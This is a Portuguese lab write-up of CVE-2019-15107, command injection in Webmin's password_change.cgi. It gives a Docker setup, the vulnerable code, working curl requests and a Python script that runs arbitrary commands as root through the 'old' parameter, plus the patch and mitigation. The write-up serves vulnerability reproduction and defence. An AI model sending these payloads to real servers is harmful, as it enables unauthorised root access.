
PoC exploit para CVE-2019-15107, uma vulnerabilidade de execução remota de código no Webmin 1.920 e versões anteriores. Inclui configuração de laboratório baseada em Docker, scripts de exploit em curl e Python, e orientações de mitigação.
[CVE-2019-15107] é uma vulnerabilidade no Webmin, uma ferramenta de administração de sistemas baseada na web usada em sistemas Unix. No código responsável pela alteração de senhas dessa ferramenta, um parâmetro específico é passado diretamente para um comando shell, sem passar por nenhum filtro, e executado, permitindo a execução de código arbitrário (Remote Code Execution, RCE).
A vulnerabilidade foi encontrada no password_change.cgi, responsável pela alteração de senhas, ao utilizar o Webmin versão 1.920 ou anterior. A vulnerabilidade ocorreu na forma de um código malicioso injetado durante o processo de distribuição do Webmin por meio do SourceForge.
Nesta reprodução, é utilizada a versão 1.910 do Webmin, a mesma usada no vulhub. Além disso, como a alteração de senha só é ativada quando passwd_mode=2, vamos configurar o ambiente com passwd_mode=2.
Com o arquivo de lançamento do Webmin 1.910, webmin_1.910_all.deb, já preparado, execute o comando abaixo para configurar o ambiente vulnerável.
docker compose up -d
Os arquivos
Dockerfileedocker-entrypoint.shforam reestruturados para se adequar aos arquivos locais, com base no formato previamente construído no vulhub.
A alteração de senha exige parâmetros que nos são familiares, como user, old, new1 e new2. Foi inserido um código que executa o valor do parâmetro old, um deles.
Abaixo está parte do arquivo password_change.cgi da versão 1.910. qx/$in{'old'}/ é o código que executa o valor de old, mencionado acima. Ao controlar esse valor, é possível obter a execução arbitrária de código.
user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
die "Missing password file configuration";
}
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
A vulnerabilidade pode ser reproduzida acessando o password_change.cgi no Webmin e enviando uma requisição com o valor da variável old manipulado.
Seja usando curl ou python, basta conseguir enviar uma requisição para o password_change.cgi de qualquer forma. Nos três exemplos, o objetivo é inserir o comando id em old para exibir o uid.
curl -k -X POST https://your-ip:10000/password_change.cgi -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
curl -k "https://your-ip:10000/password_change.cgi?user=rootxx&pam=&expired=2&old=id&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
import requests
import sys
import argparse
def exploit_webmin(target, command):
url = f"https://{target}/password_change.cgi"
# HTTPS 인증서 무시
requests.packages.urllib3.disable_warnings()
# CVE-2019-15107 payload
# old 파라미터에 명령어 입력
data = {
'user': 'rootxx',
'pam': '',
'expired': '2',
'old': command, # 명령어
'new1': 'test2',
'new2': 'test2'
}
headers = {
'Referer': f'https://{target}/session_login.cgi',
}
try:
response = requests.post(
url,
data=data,
headers=headers,
verify=False,
timeout=5
)
if response.status_code == 200:
print("[+] Exploit sent!")
print("[+] Response:")
print(response.text)
return True
else:
print(f"[-] Status code: {response.status_code}")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
parser.add_argument('-t', '--target', required=True, help='Target IP:port (e.g., 127.0.0.1:10000)')
parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
args = parser.parse_args()
print(f"[*] Exploiting Webmin at {args.target}")
print(f"[*] Command: {args.command}")
exploit_webmin(args.target, args.command)
Pode ser executado da seguinte forma:
python3 PoC.py -t your-ip:10000 -c "id"

Inserindo o comando desejado no parâmetro old da forma descrita acima, o comando é executado exatamente como foi inserido. Observando o resultado, é possível confirmar que todos os uids são 0, ou seja, o comando é executado com privilégios de root.
Ou seja, esta vulnerabilidade [CVE-2019-15107] permite executar RCE com privilégios de root.
Além disso, se um reverse shell for preparado separadamente, é possível obter o shell do servidor conectando-se a ele.
Após concluir a reprodução da vulnerabilidade, é possível encerrar o serviço com o código abaixo.
docker compose down
A forma mais simples é atualizar o Webmin.
Este é o código alterado na atualização para a versão 1.930. A correção foi feita removendo completamente a parte que executa o valor de old.
if ($wuser) {
# Update Webmin user's password
$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
$perr && &pass_error(&text('password_enewpass', $perr));
$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
$wuser->{'temppass'} = 0;
&acl::modify_user($wuser->{'name'}, $wuser);
&reload_miniserv();
}
Se a parte de execução de código for necessária, também é possível resolver inserindo um código que valide o valor de entrada de old.